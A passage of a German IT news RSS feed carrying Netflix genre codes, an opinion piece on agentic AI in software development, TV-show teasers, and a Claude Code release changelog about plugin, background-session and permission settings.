<li><a href="https://www.netflix.com/browse/genre/5286" target="_blank" rel="noopener">Sport-Komödien (5286)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11559" target="_blank" rel="noopener">Stand-up-Comedy (11559)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3519" target="_blank" rel="noopener">Teen-Komödien (3519)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Kultfilme (7627)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/8195" target="_blank" rel="noopener">B-Horror-Filme (8195)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10944" target="_blank" rel="noopener">Horrorkultfilme (10944)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9434" target="_blank" rel="noopener">Kultkomödien (9434)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4734" target="_blank" rel="noopener">Kult Sci-Fi &amp; Fantasy (4734)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1252" target="_blank" rel="noopener">Überdrehte Filme (1252)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">LGBTQ-Filme (5977)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/5977" target="_blank" rel="noopener">LGBTQ-Filme (5977)</a></li>



<li><a href="https://www.netflix.com/browse/genre/7120" target="_blank" rel="noopener">LGBTQ-Komödien (7120)</a></li>



<li><a href="https://www.netflix.com/browse/genre/500" target="_blank" rel="noopener">LGBTQ-Dramen (500)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4720" target="_blank" rel="noopener">LGBTQ-Dokumentarfilme (4720)</a></li>



<li><a href="https://www.netflix.com/browse/genre/65263" target="_blank" rel="noopener">LGBT-Serien (65263)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3329" target="_blank" rel="noopener">Romantische LGBTQ-Filme (3329)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Musicals (13335)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/59433" target="_blank" rel="noopener">Disney-Musicals (59433)</a></li>



<li><a href="https://www.netflix.com/browse/genre/32392" target="_blank" rel="noopener">Klassische Musicals (32392)</a></li>



<li><a href="https://www.netflix.com/browse/genre/13573" target="_blank" rel="noopener">Showbusiness-Musicals (13573)</a></li>



<li><a href="https://www.netflix.com/browse/genre/55774" target="_blank" rel="noopener">Stage Musicals (55774)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Musik (1701)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/52843" target="_blank" rel="noopener">Kinder-Musik (52843)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1105" target="_blank" rel="noopener">Country &amp; Western/Folk (1105)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10271" target="_blank" rel="noopener">Jazz und Easy Listening (10271)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10741" target="_blank" rel="noopener">Latin Music (10741)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9472" target="_blank" rel="noopener">Urban &amp; Dance Concerts (9472)</a></li>



<li><a href="https://www.netflix.com/browse/genre/2856" target="_blank" rel="noopener">World Music Concerts (2856)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3278" target="_blank" rel="noopener">Rock &amp; Pop Concerts (3278)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Romantische Filme (8883)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/1255" target="_blank" rel="noopener">Romantische Dramen (1255)</a></li>



<li><a href="https://www.netflix.com/browse/genre/502675" target="_blank" rel="noopener">Romantische Favoriten (502675)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9916" target="_blank" rel="noopener">Romantische Independent-Filme (9916)</a></li>



<li><a href="https://www.netflix.com/browse/genre/31273" target="_blank" rel="noopener">Romantische Klassiker (31273)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5475" target="_blank" rel="noopener">Romantische Komödien (5475)</a></li>



<li><a href="https://www.netflix.com/browse/genre/36103" target="_blank" rel="noopener">Schräge Liebesfilme (36103)</a></li>



<li><a href="https://www.netflix.com/browse/genre/35800" target="_blank" rel="noopener">Sinnliche romantische Filme (35800)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Science-Fiction &amp; Fantasy (1492)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/1568" target="_blank" rel="noopener">Action-Sci-Fi und -Fantasy (1568)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3327" target="_blank" rel="noopener">Alien-Science-Fiction (3327)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9744" target="_blank" rel="noopener">Fantasy-Filme (9744)</a></li>



<li><a href="https://www.netflix.com/browse/genre/47147" target="_blank" rel="noopener">Sci-Fi- und Fantasy-Klassiker (47147)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1492" target="_blank" rel="noopener">Sci-Fi und Fantasy (1492)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6926" target="_blank" rel="noopener">Science-Fiction-Abenteuer (6926)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11014" target="_blank" rel="noopener">Science-Fiction-Thriller (11014)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Serien (83)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/52117" target="_blank" rel="noopener">Britische Serien (52117)</a></li>



<li><a href="https://www.netflix.com/browse/genre/46553" target="_blank" rel="noopener">Serienklassiker (46553)</a></li>



<li><a href="https://www.netflix.com/browse/genre/26146" target="_blank" rel="noopener">Crime-/Krimiserien (26146)</a></li>



<li><a href="https://www.netflix.com/browse/genre/74652" target="_blank" rel="noopener">Kultserien (74652)</a></li>



<li><a href="https://www.netflix.com/browse/genre/72436" target="_blank" rel="noopener">Essen- und Reiseserien (72436)</a></li>



<li><a href="https://www.netflix.com/browse/genre/27346" target="_blank" rel="noopener">Für Kinder (27346)</a></li>



<li><a href="https://www.netflix.com/browse/genre/67879" target="_blank" rel="noopener">Koreanische Serien (67879)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10504" target="_blank" rel="noopener">Politische Thriller (10504)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4814" target="_blank" rel="noopener">Miniserien (4814)</a></li>



<li><a href="https://www.netflix.com/browse/genre/25804" target="_blank" rel="noopener">Militärserien (25804)</a></li>



<li><a href="https://www.netflix.com/browse/genre/52780" target="_blank" rel="noopener">Wissenschaft und Natur (52780)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10375" target="_blank" rel="noopener">Comedyserien (10375)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10673" target="_blank" rel="noopener">Action- und Abenteuerserien (10673)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10105" target="_blank" rel="noopener">Dokureihen (10105)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11714" target="_blank" rel="noopener">Dramaserien (11714)</a></li>



<li><a href="https://www.netflix.com/browse/genre/83059" target="_blank" rel="noopener">Horrorserien (83059)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4366" target="_blank" rel="noopener">Mysteryserien (4366)</a></li>



<li><a href="https://www.netflix.com/browse/genre/1372" target="_blank" rel="noopener">Sci-Fi- und Fantasy-Serien (1372)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9833" target="_blank" rel="noopener">Reality-TV (9833)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Sportfilme (4370)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/12339" target="_blank" rel="noopener">Baseball-Filme (12339)</a></li>



<li><a href="https://www.netflix.com/browse/genre/12762" target="_blank" rel="noopener">Basketballfilme (12762)</a></li>



<li><a href="https://www.netflix.com/browse/genre/12443" target="_blank" rel="noopener">Boxfilme (12443)</a></li>



<li><a href="https://www.netflix.com/browse/genre/12803" target="_blank" rel="noopener">Football-Filme (12803)</a></li>



<li><a href="https://www.netflix.com/browse/genre/12549" target="_blank" rel="noopener">Fußballfilme (12549)</a></li>



<li><a href="https://www.netflix.com/browse/genre/6695" target="_blank" rel="noopener">Kampfkunst, Boxen und Wrestling (6695)</a></li>



<li><a href="https://www.netflix.com/browse/genre/180" target="_blank" rel="noopener">Sportdokumentationen (180)</a></li>



<li><a href="https://www.netflix.com/browse/genre/7243" target="_blank" rel="noopener">Sportdramen (7243)</a></li>



<li><a href="https://www.netflix.com/browse/genre/4370" target="_blank" rel="noopener">Sportfilme (4370)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5286" target="_blank" rel="noopener">Sportkomödien (5286)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9327" target="_blank" rel="noopener">Sport und Fitness (9327)</a></li>
</ul>
</div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h3 class="wp-block-heading">Thriller (8933)</h3>



<ul class="wp-block-list">
<li><a href="https://www.netflix.com/browse/genre/43048" target="_blank" rel="noopener">Actionthriller (43048)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10499" target="_blank" rel="noopener">Crime-Thriller (10499)</a></li>



<li><a href="https://www.netflix.com/browse/genre/31851" target="_blank" rel="noopener">Gangsterfilme (31851)</a></li>



<li><a href="https://www.netflix.com/browse/genre/3269" target="_blank" rel="noopener">Independent-Thriller (3269)</a></li>



<li><a href="https://www.netflix.com/browse/genre/9994" target="_blank" rel="noopener">Mystery (9994)</a></li>



<li><a href="https://www.netflix.com/browse/genre/10504" target="_blank" rel="noopener">Politische Thriller (10504)</a></li>



<li><a href="https://www.netflix.com/browse/genre/5505" target="_blank" rel="noopener">Psychothriller (5505)</a></li>



<li><a href="https://www.netflix.com/browse/genre/972" target="_blank" rel="noopener">Sinnliche Thriller (972)</a></li>



<li><a href="https://www.netflix.com/browse/genre/46588" target="_blank" rel="noopener">Thriller-Klassiker (46588)</a></li>



<li><a href="https://www.netflix.com/browse/genre/11140" target="_blank" rel="noopener">Übernatürliche Thriller (11140)</a></li>
</ul>
</div>



<p>Wenn Sie darüber hinaus noch weitere Inhalte entdecken möchten, finden Sie bei uns <a href="https://www.pcwelt.de/article/2509686/die-besten-suchtipps-fuer-netflix.html" target="_blank" rel="noreferrer noopener">die besten Suchtipps für Netflix</a> sowie eine kuratierte Liste der <a href="https://www.pcwelt.de/article/2687329/beste-netflix-serien-tipps-2025.html" target="_blank" rel="noreferrer noopener">besten Netflix-Serien</a> und <a href="https://www.pcwelt.de/article/1196872/diese-netflix-filme-sollten-sie-gesehen-haben.html" target="_blank" rel="noreferrer noopener">besten Netflix-Filme</a>.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is rewriting the software development playbook]]></title>
<description><![CDATA[A few years ago, AI in software development meant autocomplete that occasionally guessed your variable name. Today, it means something closer to having an extra engineer sitting next to you — one who never sleeps, never complains about context switching and has read more code than any human alive...]]></description>
<link>https://tsecurity.de/de/3525705/it-security-nachrichten/ai-is-rewriting-the-software-development-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525705/it-security-nachrichten/ai-is-rewriting-the-software-development-playbook/</guid>
<pubDate>Mon, 18 May 2026 13:07:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A few years ago, AI in software development meant autocomplete that occasionally guessed your variable name. Today, it means something closer to having an extra engineer sitting next to you — one who never sleeps, never complains about context switching and has read more code than any human alive. In fact, you can have a whole extra engineering team if you’re crafty with orchestration. The shift has been gradual, but it’s accelerating quickly, and AI is no longer a novelty feature tucked inside your IDE. Instead, it’s becoming the connective tissue of how software actually gets built. Engineering teams have to adopt or risk hopelessly falling behind.</p>



<h2 class="wp-block-heading">From autocomplete to autonomous agent</h2>



<p>The early generation of AI coding tools was fundamentally autocomplete engines with better training data. Useful, sure. But they didn’t change the job of software engineering. A developer still had to do the thinking, the planning and the debugging; the tools just saved some keystrokes.</p>



<p>What’s different now is the emergence of agentic AI systems. These aren’t tools that suggest the next line. They’re systems that can take an instruction (e.g., “add input validation to the checkout form and write tests for it”) and execute across multiple files, run a test suite, identify failures and automatically fix them. The developer’s job is shifting from writing code to planning, directing, reviewing and refining. In other words, acting more as an engineering lead or product manager than a coder.</p>



<p>At Nutrient, we made Claude Code, Codex and other coding agents available across our entire engineering team, leveraging company accounts with liberal usage limits. Usage of agentic AI at this point isn’t only recommended, it’s mandated: We only write code manually as a fallback. The organization shift certainly wasn’t an easy one, and we still have different levels of agentic orchestration proficiency across the team. However, for those leading the pack, we see an immense increase in productivity and impact. As a result, the number of impact-weighted pull requests (self-contained code changes, weighted by complexity) has nearly doubled across the organization in the span of a few months, as attested by our homegrown engineering metrics tool.</p>



<h2 class="wp-block-heading">AI across the full development lifecycle</h2>



<p>The impact of AI isn’t limited to the act of writing code; it’s showing up at every stage of how software gets built, tested and maintained.</p>



<p><a href="https://www.cio.com/article/4134741/how-agentic-ai-will-reshape-engineering-workflows-in-2026.html">We’re approaching the point</a> where planning, design, testing and even debugging are becoming implementation details. Engineers are now focusing on clearly defining the desired outcomes and then orchestrating tooling in a way that it can execute agentic loops with validation feedback. The feedback can still come from humans, but even that can be made so it’s automatically obtained by agents. Say we want to improve the performance of a specific module — often considered an advanced engineering task. If we start by creating good benchmarks, we can simply leverage them to let an agent loop overnight and try different methods to activate better performance. All the engineer has to do in the morning is review a report and pick the winner.</p>



<p>Depending on the task, engineers now have the choice of how involved they want to be in each step of the process. Sometimes you want to brainstorm a detailed plan together with your AI coworker, and other times you want it to one-shot solve a problem. Understanding what is the right choice for any given task is becoming a key new skill software engineers need to develop.</p>



<p>The fact is that every stage of the software development process needs to get faster to truly reap the promised boost from agentic AI. Code review needs to be assisted by agentic analysis and FAQ with your agent, QA testing needs to leverage agents for faster orchestration, and release notes and documentation need to be authored by AI. Failing to make these crucial adjustments just shifts bottlenecks to a different part of the organization.</p>



<p>There’s a fear that this kind of work will lead to code nobody understands, but if we’re honest with ourselves, that’s already the case for any decently large codebase written by humans. If anything, AI has become genuinely useful to counter this issue. Codebases accumulate entropy. The original authors leave. Documentation rots. AI can help reverse-engineer intent from implementation in ways that would have previously taken days of careful archaeology.</p>



<h2 class="wp-block-heading">The competition is real…and it’s good for developers</h2>



<p>The AI coding market is a hot race, and it’s one worth paying attention to. Alongside the major platform players, a wave of purpose-built tools has emerged, some focused narrowly on specific parts of the workflow, and others attempting to own the full stack of AI-assisted development.</p>



<p>Cursor has built a devoted following among professional developers for its deep codebase integration and model flexibility, with Copilot’s VS Code integration giving it a run for its money. Claude Code and Codex have now become the frontrunners for truly agentic coding, though there are a lot of other choices available, like the open-source minimal coding agent PI. At the same time, Replit and Lovable are pushing the boundary of what’s possible for non-traditional developers, and we of course have projects like OpenClaw for agents that can go well beyond coding.</p>



<p>What Google I/O and Microsoft Build will likely reveal this May is how the platform incumbents respond to this fragmentation. Both companies have the distribution advantage: If you’re already using some of their tooling — be it VS Code, Google Cloud, or Google Workspace — the path of least resistance is the AI tooling they bundle in. But the easiest route doesn’t always win in developer tooling, where engineers have strong opinions and will switch if a better option exists.</p>



<p>The competitive pressure between these players is, on balance, good for working developers. It means faster iteration, more model choice, better pricing and tools that are actually being shaped by real engineering feedback rather than product marketing.</p>



<h2 class="wp-block-heading">What this means for the developer role</h2>



<p>The question that comes up whenever AI makes a meaningful leap in capability — “Will this replace developers?” — keeps getting asked, and it keeps getting the same honest answer: not in the way people fear, but yes, the job is changing, and only those willing to adapt quickly and fully will have a future in it.</p>



<p>What AI is actually doing is compressing the distance between a developer’s intention and working code. That’s valuable, but it creates a new set of demands. Developers who can clearly articulate what they want, who understand enough about a system to evaluate whether the AI’s output is correct and who can maintain judgment about when to trust the tool and when to push back will become more productive. <a href="https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/" rel="nofollow">Developers who use AI as a black box</a>, accepting its output uncritically, create a different kind of problem.</p>



<p>There’s also a shift in what senior engineering judgment gets spent on. When AI handles more of the implementation work, the scarce resource isn’t code volume; it’s architecture, system thinking and the kind of contextual knowledge that only comes from having built and maintained real systems at scale. Those skills matter more, not less, when the tools around you are more powerful.</p>



<p>Communication becomes a technical skill in a more literal sense. Prompting an AI agent well isn’t trivial. Describing a problem with enough precision to get a useful result, without overspecifying in ways that constrain the solution space unnecessarily, is genuinely hard. Teams that develop that skill as a shared practice will outperform teams that treat it as an individual quirk.</p>



<h2 class="wp-block-heading">The uncomfortable truth about what comes next</h2>



<p>Let’s be honest about something the industry tends to dance around: We aren’t incrementally improving software development; we’re dismantling its fundamental assumptions. The notion that building software requires large, specialized teams working in lockstep over months-long cycles is quickly becoming obsolete. A single engineer with the right agentic setup can now achieve what once required a small squad, and that gap is only widening.</p>



<p>This isn’t a comfortable realization for everyone. It raises hard questions about team structure, hiring and what “seniority” even means when a junior developer with excellent AI orchestration skills can outpace a veteran who refuses to adapt. At Nutrient, we’ve already seen this dynamic play out. The engineers who leaned in early aren’t just faster; they’re operating at a fundamentally different altitude, thinking in systems and outcomes rather than lines and files.</p>



<p>The real risk isn’t that AI replaces developers. It’s that the industry splits into two tiers: those who’ve internalized AI as a core part of how they think and work, and those still treating it as a feature they’ll get around to learning. That second group is running out of runway. The window to adapt isn’t closing eventually. It’s closing now.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Große Änderung bei &quot;Ninja Warrior&quot;: Nach dem Abschied von Laura Wontorra wird DAS die neue Moderation]]></title>
<description><![CDATA[RTL stellt bei der Action-Spiel-Show um: Während "Let's Dance" verkündete Laura Wontorra ihren Abschied von "Ninja Warrior". Doch ihre Nachfolge steht bereits in den Startlöchern.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webseri...]]></description>
<link>https://tsecurity.de/de/3525410/it-nachrichten/grosse-aenderung-bei-quotninja-warriorquot-nach-dem-abschied-von-laura-wontorra-wird-das-die-neue-moderation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525410/it-nachrichten/grosse-aenderung-bei-quotninja-warriorquot-nach-dem-abschied-von-laura-wontorra-wird-das-die-neue-moderation/</guid>
<pubDate>Mon, 18 May 2026 11:17:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[RTL stellt bei der Action-Spiel-Show um: Während "Let's Dance" verkündete Laura Wontorra ihren Abschied von "Ninja Warrior". Doch ihre Nachfolge steht bereits in den Startlöchern.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/tv-sender/">TV-Sender</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/rtl-plus/index.html">RTL+</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[&quot;Let’s Dance&quot; 2026 Ergebnis-Check: Wer flog in Show 10 raus und wie geht es am 22.5. weiter?]]></title>
<description><![CDATA["Let's Dance" Show Nr. 10 ist vorüber und für ein Paar heißt es leider Koffer packen. Hier gibt es alle Punkte des Abends in der Übersicht und den Ausblick auf Show Nummer 11!
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,		...]]></description>
<link>https://tsecurity.de/de/3521100/it-nachrichten/quotlets-dancequot-2026-ergebnis-check-wer-flog-in-show-10-raus-und-wie-geht-es-am-225-weiter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3521100/it-nachrichten/quotlets-dancequot-2026-ergebnis-check-wer-flog-in-show-10-raus-und-wie-geht-es-am-225-weiter/</guid>
<pubDate>Sat, 16 May 2026 01:16:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Let's Dance" Show Nr. 10 ist vorüber und für ein Paar heißt es leider Koffer packen. Hier gibt es alle Punkte des Abends in der Übersicht und den Ausblick auf Show Nummer 11!
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Let&#039;s Dance 2026: Wer ist raus? Dieses Team musste sich in Show Nr. 10 am 15.5.verabschieden!]]></title>
<description><![CDATA[Eine knallharte Entscheidung: Für dieses Team ist an diesem Freitag (15.5.) Schluss bei "Let*s Dance" 2026. Trotz aller Kraftanstrengung hat es sich für dieses Paar ausgetanzt.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,	...]]></description>
<link>https://tsecurity.de/de/3521099/it-nachrichten/let039s-dance-2026-wer-ist-raus-dieses-team-musste-sich-in-show-nr-10-am-155verabschieden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3521099/it-nachrichten/let039s-dance-2026-wer-ist-raus-dieses-team-musste-sich-in-show-nr-10-am-155verabschieden/</guid>
<pubDate>Sat, 16 May 2026 01:16:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eine knallharte Entscheidung: Für dieses Team ist an diesem Freitag (15.5.) Schluss bei "Let*s Dance" 2026. Trotz aller Kraftanstrengung hat es sich für dieses Paar ausgetanzt.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.143]]></title>
<description><![CDATA[What's changed

Added plugin dependency enforcement: claude plugin disable now refuses when another enabled plugin depends on the target (with a copy-pasteable disable-chain hint), and claude plugin enable force-enables transitive dependencies
Added projected context cost (per-turn and per-invoca...]]></description>
<link>https://tsecurity.de/de/3520932/downloads/v21143/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3520932/downloads/v21143/</guid>
<pubDate>Sat, 16 May 2026 00:31:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added plugin dependency enforcement: <code>claude plugin disable</code> now refuses when another enabled plugin depends on the target (with a copy-pasteable disable-chain hint), and <code>claude plugin enable</code> force-enables transitive dependencies</li>
<li>Added projected context cost (per-turn and per-invocation token estimates) to the <code>/plugin</code> marketplace browse pane</li>
<li>Added <code>worktree.bgIsolation: "none"</code> setting to let background sessions edit the working copy directly without <code>EnterWorktree</code>, for repos where worktrees are impractical</li>
<li>PowerShell tool now passes <code>-ExecutionPolicy Bypass</code>. Opt out with <code>CLAUDE_CODE_POWERSHELL_RESPECT_EXECUTION_POLICY=1</code></li>
<li>Background sessions now preserve the model and effort level you set after waking from idle</li>
<li>Shift+Tab in attached agent sessions now includes auto mode in the cycle</li>
<li>Fixed a corrupt <code>.credentials.json</code> with a non-array <code>scopes</code> value hanging the CLI on startup or silently aborting OAuth token refresh</li>
<li>Fixed right-click paste in <code>claude agents</code> on Windows Terminal and WSL</li>
<li>Fixed stop hooks that block repeatedly looping forever — the turn now ends with a warning after 8 consecutive blocks (override via <code>CLAUDE_CODE_STOP_HOOK_BLOCK_CAP</code>)</li>
<li>Fixed Esc/Ctrl+C not cancelling a pending <code>/loop</code> wakeup while Claude is idle between iterations</li>
<li>Fixed <code>/goal</code> evaluator firing while background shells or delegated subagents are still running</li>
<li>Fixed <code>NO_COLOR</code>/<code>FORCE_COLOR</code> in settings.json <code>env</code> stripping Claude Code's own UI colors — they now apply to subprocesses only</li>
<li>Fixed agent view spawning repeated PowerShell processes on Windows when listing sessions</li>
<li>Fixed <code>/bg</code> without a prompt sending "continue" to the forked session — the fork now waits for input</li>
<li>Fixed <code>--agent &lt;name&gt;</code> not finding plugin-contributed agents without the <code>plugin:</code> prefix</li>
<li>Fixed deleting a session from agent view not removing its transcript file</li>
<li>Fixed stale-fragment rendering when scrolling in attached background sessions on Windows Terminal</li>
<li>Fixed background agents false-positive worker-stall detection storm after host sleep or macOS App Nap</li>
<li>Fixed 5xx error messages pointing at status.claude.com instead of naming the configured gateway or cloud provider</li>
<li>The PowerShell tool is now enabled by default on Windows for Bedrock, Vertex, and Foundry users. Opt out with <code>CLAUDE_CODE_USE_POWERSHELL_TOOL=0</code>.</li>
<li><code>claude agents</code> now accepts <code>--add-dir</code>, <code>--settings</code>, <code>--mcp-config</code>, and <code>--plugin-dir</code> and applies them to the dashboard and to background sessions dispatched from it</li>
<li><code>claude agents</code> accepts <code>--permission-mode</code>, <code>--model</code>, <code>--effort</code>, and <code>--dangerously-skip-permissions</code> to set defaults for sessions dispatched from the view</li>
<li><code>claude --bg --dangerously-skip-permissions</code> now persists across retire→wake</li>
<li>Fixed background sessions silently capturing IDE file references into the warm spare's input, which caused the reference to be prepended to the next prompt dispatched from <code>claude agents</code></li>
<li>Worktree cleanup no longer falls back to <code>rm -rf</code> when <code>git worktree remove</code> fails, preventing loss of gitignored or in-progress files</li>
<li>Fixed background-job sessions on macOS getting "Operation not permitted" errors when reading files under <code>~/Documents</code>, <code>~/Desktop</code>, or <code>~/Downloads</code>, even with Full Disk Access granted.</li>
<li><code>/bg</code> now preserves <code>--mcp-config</code>, <code>--settings</code>, <code>--add-dir</code>, <code>--plugin-dir</code>, and <code>--strict-mcp-config</code>, so backgrounded sessions keep their MCP servers and settings across respawn.</li>
<li>Background sessions launched from <code>claude agents</code> now honor <code>permissions.defaultMode</code> from settings.json (was previously overridden to auto mode)</li>
<li>Fixed: on Windows, pressing ← in <code>claude agents</code> while a response was streaming could leave the agents list unresponsive to all input</li>
<li><code>/bg</code> and <code>←</code>-detach now preserve <code>--fallback-model</code>, so backgrounded workers degrade to the fallback model on overload instead of hard-failing.</li>
<li><code>/bg</code> and <code>←</code>-detach now preserve <code>--allow-dangerously-skip-permissions</code>, so the forked worker keeps bypass-permissions available in its Shift+Tab cycle.</li>
<li>Fixed: background daemon spawn now falls back to the running binary when the <code>~/.local/bin/claude</code> launcher is missing or non-executable</li>
<li>Fixed <code>claude agents --allow-dangerously-skip-permissions</code> defaulting dispatched sessions to bypass mode instead of making it available in the permission cycle</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Let&#039;s Dance 2026: Show 10 Live-Ticker- Tänze, Punkte und die Entscheidungen am 15.Mai]]></title>
<description><![CDATA[Let’s Dance 2026: Show 10 live! Fetzige Moves und ein harter Punktekampf erwarten uns am 15.5.Doch wer muss sich heute verabschieden? Das Alles im LIVE-Ticker!
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,																	R...]]></description>
<link>https://tsecurity.de/de/3520654/it-nachrichten/let039s-dance-2026-show-10-live-ticker-taenze-punkte-und-die-entscheidungen-am-15mai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3520654/it-nachrichten/let039s-dance-2026-show-10-live-ticker-taenze-punkte-und-die-entscheidungen-am-15mai/</guid>
<pubDate>Fri, 15 May 2026 21:02:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Let’s Dance 2026: Show 10 live! Fetzige Moves und ein harter Punktekampf erwarten uns am 15.5.Doch wer muss sich heute verabschieden? Das Alles im LIVE-Ticker!
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/waipu-index.html">Waipu.tv</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-neu-shows-serien-filme/index.html">Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[The MSI Prestige 16 AI+ is a high-quality business laptop at an attractive price – it's nigh on impossible to criticise]]></title>
<description><![CDATA[A perfectly balanced productivity laptop at a price that will make the IT department bean counters dance with joy]]></description>
